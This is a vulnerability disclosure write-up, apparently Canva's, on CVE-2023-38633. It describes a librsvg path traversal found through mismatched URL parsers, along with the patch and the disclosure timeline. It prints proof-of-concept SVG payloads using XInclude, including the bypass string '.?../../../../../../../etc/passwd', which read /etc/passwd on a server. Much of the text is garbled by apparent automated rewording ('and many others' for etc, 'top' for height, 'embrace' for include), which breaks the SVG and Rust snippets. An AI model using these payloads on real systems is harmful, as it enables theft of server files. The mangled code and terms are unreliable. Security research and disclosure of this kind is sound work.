When URL parsers disagree (CVE-2023-38633)

As a part of Canva’s ongoing mission to construct the world’s most trusted platform, we repeatedly consider the safety of our software program dependencies. Figuring out and resolving vulnerabilities in third-party dependencies helps enhance the safety of Canva, in addition to the broader web. Coupled with safety controls like sandboxing, we proceed to make it more and more troublesome for attackers to succeed in their aims by exploiting third-party dependencies.
One such dependency Canva makes use of is librsvg (by way of libvips). We use librsvg to shortly render user-provided SVGs into thumbnails later displayed as PNGs. By exploiting variations in URL parsers when rendering an SVG with librsvg, we confirmed it is attainable to incorporate arbitrary recordsdata from disk within the ensuing picture. The librsvg maintainers quickly patched the issue and issued a safety vulnerability (CVE-2023-38633).
We’re sharing this analysis as one other instance of the dangers of mixing URL parsers, particularly as a result of the instance we found could be very delicate.
A particular because of Federico (librsvg maintainer), John (libvips maintainer), and Lovell (Sharp maintainer) for his or her work and glorious coordinated response.
Prequel
The XML Parsing Issues in Inkscape in CLI write-up from Elttam’s Victor Kahan reveals how Inkscape is susceptible to path traversal when rendering SVGs. Extending Victor’s analysis, we discovered that whereas XInclude wasn’t instantly supported in Inkscape 0.9, it exhibited some attention-grabbing conduct when an SVG was nested in one other SVG.
For instance, take into account the next interior SVG.
<?xml model="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" top="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="300" top="300" type="fill:rgb(255,204,204);" />
<textual content x="0" y="100">
<xi:embrace href="/and many others/passwd" parse="textual content" encoding="ASCII">
<xi:fallback>file not discovered</xi:fallback>
</xi:embrace>
</textual content>
</svg>
We encoded it as a URI and positioned it inside one other SVG, outer.svg
.
<?xml model="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" top="300" xmlns:xlink="http://www.w3.org/1999/xlink">
<picture xlink:href="knowledge:picture/svg;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjMwMCIgaGVpZ2h0PSIzMDAiIHhtbG5zOnhpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hJbmNsdWRlIj4KICA8cmVjdCB3aWR0aD0iMzAwIiBoZWlnaHQ9IjMwMCIgc3R5bGU9ImZpbGw6cmdiKDI1NSwyMDQsMjA0KTsiIC8+CiAgPHRleHQgeD0iMCIgeT0iMTAwIj4KICAgIDx4aTppbmNsdWRlIGhyZWY9Ii9ldGMvcGFzc3dkIiBwYXJzZT0idGV4dCIgZW5jb2Rpbmc9IkFTQ0lJIj4KICAgICAgPHhpOmZhbGxiYWNrPmZpbGUgbm90IGZvdW5kPC94aTpmYWxsYmFjaz4KICAgIDwveGk6aW5jbHVkZT4KICA8L3RleHQ+Cjwvc3ZnPg==" />
</svg>
When run with Inkscape 0.92.4, it produced a picture the place the XInclude fallback was triggered.
$ inkscape -f take a look at.svg -e out.png -w 300
The truth that Xinclude was supported in any respect was stunning as a result of it could actually usually result in safety vulnerabilities. Whereas Inkscape is not utilized by the Canva product, digging into the Inkscape code path confirmed that nested pictures are loaded with GdkPixbuf, which itself delegates SVG loading to librsvg. This was of nice curiosity as a result of librsvg is one thing that Canva does use.
XInclude
XInclude is a mechanism for merging XML paperwork, which might result in safety vulnerabilities when a user-provided XML doc (like an SVG) is assembled or rendered on a server.
There are two standout parts in XInclude:
xi:include
to incorporate contents of a referenced URL, comparable to a file or HTTP request. The content material being included will be plaintext or XML.xi:fallback
to appoint content material that ought to be rendered when the referenced content material cannot be loaded byxi:Embrace
.
Safety checks apart, the next XML doc masses the contents of /and many others/passwd
when processed.
<?xml model="1.0" encoding="UTF-8" standalone="no"?>
<instance xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:embrace href="/and many others/passwd" parse="textual content" encoding="ASCII">
<xi:fallback>file not discovered</xi:fallback>
</xi:embrace>
</instance>
There are guidelines
librsvg is a Rust library to render SVG pictures to Cairo surfaces. Many of the heavy lifting is now carried out in Rust, however the library depends on the Cairo and GNOME glib C libraries.
From the prequel, we knew librsvg supported at the very least a few of the XInclude requirements. To grasp how a lot, we dug into its implementation. Because it seems, each exterior URL reference in an SVG passes by means of a single methodology for validation. This contains references comparable to:
<picture href="file:///one thing.png" />
<rect filter="url('file-with-filters.svg#my_filter')" />
<xi:embrace href="/and many others/passwd" ... />
The librsvg url_resolver.resolve_href methodology implements some strict security checks to limit what references will be loaded when processing an SVG doc:
- All
knowledge:
URLs are permitted as a result of they can not reference exterior recordsdata by design. - The referenced scheme should match the “present doc” scheme. For instance, when processing
file:///foo/bar/instance.svg
, any encountered URL have to be of thefile:
scheme. - Encountered recordsdata have to be in the identical listing as the present doc, or inside a subdirectory of the present doc. That is enforced by checking the URL path.
- All different schemes are rejected, together with
http:
.
These strict guidelines are the rationale our earlier naive XInclude assessments failed. However we have been very to see if we might bypass the principles. This might end in path traversal when processing an SVG, for instance, with the ability to embrace recordsdata like /and many others/passwd
within the contents of the rendered SVG to PNG.
Parser Mismatch
Resolving a URL inside an SVG doc has two steps:
- Validate the URL as per the resolve guidelines talked about earlier.
- If profitable, load the contents, which parses URLs utilizing Gio‘s inbuilt URI parser.
Excerpts from mod.rs and io.rs are as follows.
fn purchase(&self, href: Possibility<&str>, ) -> End result<(), AcquireError> {
let aurl = self.url_resolver.resolve_href(href)
self.acquire_text(&aurl, encoding);
}
fn acquire_text(&self, aurl: &AllowedUrl, encoding: Possibility<&str>) -> End result<(), AcquireError> {
let binary = io::acquire_data(aurl, None);
return consequence;
}
pub fn acquire_data(aurl: &AllowedUrl, ) -> End result<BinaryData, IoError> {
let uri = aurl.as_str();
let file = GFile::for_uri(uri);
let (contents, _etag) = file.load_contents(cancellable)?;
return contents;
}
Understanding there have been two URL parsers at play (one to validate the URL and one to load the contents), to bypass the safety checks, we wanted to seek out URLs the place the parsers disagreed.
With some fast assessments, we mapped out how the URL parsers course of completely different URLs.
Gio does not expose generic URL parsing (apart from GUri, which is not on the callpath). However g_filename_from_uri
returns on some examples.
Bypassing Validation
Given this understanding of the place the URL parsers have been at, we took the related components from librsvg and arrange a fuzzing harness (“resolve”) to run the identical logic because the resolve URL logic when encountering a reference (href, XInclude, and many others.) from an on-disk “present.svg” file. This allowed us to shortly take a look at and fuzz inputs to see how the parsers and validation logic have been evaluated. Some attention-grabbing outputs from fuzzing have been as follows:
resolve 'present.svg'
: Passes as anticipated.resolve run '../../../../../../../and many others/passwd'
: Canonicalization fails with ‘No such file or listing’.resolve 'present.svg?../../../../../../../and many others/passwd'
: Passes.resolve 'none/../present.svg'
: Passes as anticipated.
The final 2 outcomes confirmed us that GFile::for_uri
fortunately resolves path traversals, together with path traversals within the question string. Nonetheless, the second consequence, ../../../../../../../and many others/passwd
, failed due to the canonicalization examine.
Bypassing Canonicalization
A part of librsvg’s URL validation is to canonicalize the constructed URL to exchange .. and . segments per common filesystem path guidelines. It does this utilizing Rust’s std::fs::canonicalize (calling realpath), which throws an error if:
- The trail does not exist.
- A non-final part within the path is not a listing.
As a result of we do not at all times know the identify of the ‘present’ SVG on disk, we wanted to bypass canonicalization if we wished to have a URL cross librsvg’s validation. After some fast testing, it seems that is comparatively easy.
$ realpath present.svg
/dwelling/zsims/initiatives/librsvg-poc/present.svg
$ realpath .
/dwelling/zsims/initiatives/librsvg-poc/
Because it seems, realpath(".")
and std::fs::canonicalize(".")
each return the “present listing”. We will use this as a placeholder in our PoC as an alternative of present.svg
.
Proof of idea
Understanding how the URL parsers mismatch, and the way we are able to bypass canonicalization with out understanding the present file identify, we are able to construct a payload to incorporate /and many others/passwd
.
.?../../../../../../../and many others/passwd
Inside a poc.svg
SVG, this seems to be like the next.
<?xml model="1.0" encoding="UTF-8" standalone="no"?>
<svg width="300" top="300" xmlns:xi="http://www.w3.org/2001/XInclude">
<rect width="300" top="300" type="fill:rgb(255,204,204);" />
<textual content x="0" y="100">
<xi:embrace href=".?../../../../../../../and many others/passwd" parse="textual content" encoding="ASCII">
<xi:fallback>file not discovered</xi:fallback>
</xi:embrace>
</textual content>
</svg>
And produces the next consequence.
$ rsvg-convert poc.svg > poc.png
We get an identical consequence when operating by means of vipsthumbnail.
Delicate recordsdata inside /proc
, comparable to /proc/self/environ
, failed due to character encoding.
$ rsvg-convert proc-poc.svg > proc-poc.png
thread 'most important' panicked at 'str::ToGlibPtr<*const c_char>: surprising '' character: NulError(21...
Observe that this PoC solely works the place the SVG is loaded from a file://
. SVGs loaded by means of knowledge:
or useful resource:
schemes will not be susceptible.
Patch
Following the report back to librsvg’s maintainer (see Issue 996), Federico patched the issue so as to add improved URL validation and use the validated URL as enter into GFile. A part of the response from Federico included a heads-up to maintainers of Sharp and libvips to improve earlier than the difficulty was disclosed publicly as CVE-2023-38633.
The problem additionally prompted some dialogue about file URL parsing in glib, leading to some additional validation within the library.
There have been just a few standouts from discovery and patching:
- The dangers of mixing URL parsers are simply as relevant to
file://
URLs and in-process use as they’re for networked providers andhttp://
URLs. file://
URLs are particular. For instance, the URL specification highlights support for query strings infile://
URLs, however the assist within the implementations we reviewed diverse vastly.- Efforts emigrate present C code to Rust will not be with out threat. Though reminiscence security is way improved, variations in contracts (like URL parsing) can have destructive safety penalties.
- Ensure you’re solely parsing URLs as soon as, and utilizing that parsed worth from that time onwards.
- If attainable, implement your individual validation on recordsdata, like SVGs, earlier than processing additional. That is the rationale MediaWiki shouldn’t be impacted by this concern as a result of
xi:embrace
parts are rejected earlier than the SVG reaches librsvg.
Timeline
- July 11 2023: Situation found.
- July 12 2023: Reported to librsvg maintainers.
- July 19 2023: librsvg maintainers open up to libraries that rely upon librsvg, together with libvips and Sharp.
- July 21 2023: librsvg patched by maintainers.
- July 22 2023 – CVE-2023-38633 issued.
Excited by securing Canva techniques? Join Us!